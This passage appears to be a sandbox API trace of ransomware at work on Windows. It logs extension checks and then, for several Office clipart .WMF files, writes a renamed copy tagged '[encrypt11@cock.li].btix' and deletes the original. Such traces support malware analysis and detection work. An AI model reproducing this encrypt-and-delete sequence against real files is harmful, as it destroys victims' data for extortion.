lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0152.204] lstrlenW (lpString=".jpg") returned 4 [0152.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.204] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.205] lstrlenW (lpString="J0105368.WMF") returned 12 [0152.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.205] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=12380) returned 1 [0152.205] CloseHandle (hObject=0x38c) returned 1 [0152.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0152.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.205] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.205] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0152.206] GetLastError () returned 0x0 [0152.206] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x305c, lpOverlapped=0x0) returned 1 [0152.206] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3060, lpOverlapped=0x0) returned 1 [0152.207] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.208] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.208] SetEndOfFile (hFile=0x390) returned 1 [0152.208] CloseHandle (hObject=0x390) returned 1 [0152.208] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.208] SetEndOfFile (hFile=0x38c) returned 1 [0152.209] CloseHandle (hObject=0x38c) returned 1 [0152.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0152.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.209] lstrlenW (lpString=".doc") returned 4 [0152.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.209] lstrlenW (lpString=".docx") returned 5 [0152.209] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.209] lstrlenW (lpString=".pdf") returned 4 [0152.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.209] lstrlenW (lpString=".xls") returned 4 [0152.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.209] lstrlenW (lpString=".xlsx") returned 5 [0152.209] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.210] lstrlenW (lpString=".ppt") returned 4 [0152.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.210] lstrlenW (lpString=".zip") returned 4 [0152.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.210] lstrlenW (lpString=".rar") returned 4 [0152.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.210] lstrlenW (lpString=".bz2") returned 4 [0152.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.210] lstrlenW (lpString=".7z") returned 3 [0152.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.210] lstrlenW (lpString=".dbf") returned 4 [0152.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.210] lstrlenW (lpString=".1cd") returned 4 [0152.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.210] lstrlenW (lpString=".jpg") returned 4 [0152.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.210] lstrlenW (lpString=".doc") returned 4 [0152.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.210] lstrlenW (lpString=".docx") returned 5 [0152.210] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0152.210] lstrlenW (lpString=".pdf") returned 4 [0152.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.211] lstrlenW (lpString=".xls") returned 4 [0152.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.211] lstrlenW (lpString=".xlsx") returned 5 [0152.211] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0152.211] lstrlenW (lpString=".ppt") returned 4 [0152.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.211] lstrlenW (lpString=".zip") returned 4 [0152.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.211] lstrlenW (lpString=".rar") returned 4 [0152.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.211] lstrlenW (lpString=".bz2") returned 4 [0152.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.211] lstrlenW (lpString=".7z") returned 3 [0152.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.211] lstrlenW (lpString=".dbf") returned 4 [0152.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.211] lstrlenW (lpString=".1cd") returned 4 [0152.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0152.211] lstrlenW (lpString=".jpg") returned 4 [0152.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.211] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.211] lstrlenW (lpString="J0105376.WMF") returned 12 [0152.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.212] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=4964) returned 1 [0152.212] CloseHandle (hObject=0x38c) returned 1 [0152.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 0x220 [0152.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.212] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.212] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0152.212] GetLastError () returned 0x0 [0152.212] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1364, lpOverlapped=0x0) returned 1 [0152.473] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1370, lpOverlapped=0x0) returned 1 [0152.474] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.474] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.475] SetEndOfFile (hFile=0x390) returned 1 [0152.475] CloseHandle (hObject=0x390) returned 1 [0152.475] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.475] SetEndOfFile (hFile=0x38c) returned 1 [0152.476] CloseHandle (hObject=0x38c) returned 1 [0152.476] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105376.wmf")) returned 1 [0152.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.476] lstrlenW (lpString=".doc") returned 4 [0152.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.476] lstrlenW (lpString=".docx") returned 5 [0152.476] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.476] lstrlenW (lpString=".pdf") returned 4 [0152.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.476] lstrlenW (lpString=".xls") returned 4 [0152.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.476] lstrlenW (lpString=".xlsx") returned 5 [0152.476] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.476] lstrlenW (lpString=".ppt") returned 4 [0152.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.477] lstrlenW (lpString=".zip") returned 4 [0152.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.477] lstrlenW (lpString=".rar") returned 4 [0152.477] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.477] lstrlenW (lpString=".bz2") returned 4 [0152.477] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.477] lstrlenW (lpString=".7z") returned 3 [0152.477] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.477] lstrlenW (lpString=".dbf") returned 4 [0152.477] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.477] lstrlenW (lpString=".1cd") returned 4 [0152.477] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.477] lstrlenW (lpString=".jpg") returned 4 [0152.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.477] lstrlenW (lpString=".doc") returned 4 [0152.477] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.477] lstrlenW (lpString=".docx") returned 5 [0152.477] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.477] lstrlenW (lpString=".pdf") returned 4 [0152.477] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.477] lstrlenW (lpString=".xls") returned 4 [0152.477] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.477] lstrlenW (lpString=".xlsx") returned 5 [0152.477] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.477] lstrlenW (lpString=".ppt") returned 4 [0152.477] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.477] lstrlenW (lpString=".zip") returned 4 [0152.477] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.478] lstrlenW (lpString=".rar") returned 4 [0152.478] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.478] lstrlenW (lpString=".bz2") returned 4 [0152.478] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.478] lstrlenW (lpString=".7z") returned 3 [0152.478] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.478] lstrlenW (lpString=".dbf") returned 4 [0152.478] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.478] lstrlenW (lpString=".1cd") returned 4 [0152.478] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105376.WMF") returned 68 [0152.478] lstrlenW (lpString=".jpg") returned 4 [0152.478] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.478] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.478] lstrlenW (lpString="J0105506.WMF") returned 12 [0152.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.478] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=2912) returned 1 [0152.478] CloseHandle (hObject=0x38c) returned 1 [0152.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0152.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0152.479] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.479] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.518] GetLastError () returned 0x0 [0152.518] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xb60, lpOverlapped=0x0) returned 1 [0152.519] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xb70, lpOverlapped=0x0) returned 1 [0152.520] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.520] WriteFile (in: hFile=0x33c, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.520] SetEndOfFile (hFile=0x33c) returned 1 [0152.520] CloseHandle (hObject=0x33c) returned 1 [0152.520] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.520] SetEndOfFile (hFile=0x38c) returned 1 [0152.521] CloseHandle (hObject=0x38c) returned 1 [0152.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0152.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.521] lstrlenW (lpString=".doc") returned 4 [0152.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.521] lstrlenW (lpString=".docx") returned 5 [0152.521] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.522] lstrlenW (lpString=".pdf") returned 4 [0152.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.522] lstrlenW (lpString=".xls") returned 4 [0152.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.522] lstrlenW (lpString=".xlsx") returned 5 [0152.522] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.522] lstrlenW (lpString=".ppt") returned 4 [0152.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.522] lstrlenW (lpString=".zip") returned 4 [0152.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.522] lstrlenW (lpString=".rar") returned 4 [0152.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.522] lstrlenW (lpString=".bz2") returned 4 [0152.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.522] lstrlenW (lpString=".7z") returned 3 [0152.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.522] lstrlenW (lpString=".dbf") returned 4 [0152.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.522] lstrlenW (lpString=".1cd") returned 4 [0152.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.522] lstrlenW (lpString=".jpg") returned 4 [0152.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.523] lstrlenW (lpString=".doc") returned 4 [0152.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.523] lstrlenW (lpString=".docx") returned 5 [0152.523] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.523] lstrlenW (lpString=".pdf") returned 4 [0152.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.523] lstrlenW (lpString=".xls") returned 4 [0152.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.523] lstrlenW (lpString=".xlsx") returned 5 [0152.523] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.523] lstrlenW (lpString=".ppt") returned 4 [0152.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.523] lstrlenW (lpString=".zip") returned 4 [0152.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.523] lstrlenW (lpString=".rar") returned 4 [0152.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.523] lstrlenW (lpString=".bz2") returned 4 [0152.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.523] lstrlenW (lpString=".7z") returned 3 [0152.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.523] lstrlenW (lpString=".dbf") returned 4 [0152.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.523] lstrlenW (lpString=".1cd") returned 4 [0152.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0152.523] lstrlenW (lpString=".jpg") returned 4 [0152.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.524] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.524] lstrlenW (lpString="J0105520.WMF") returned 12 [0152.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0x80000000, 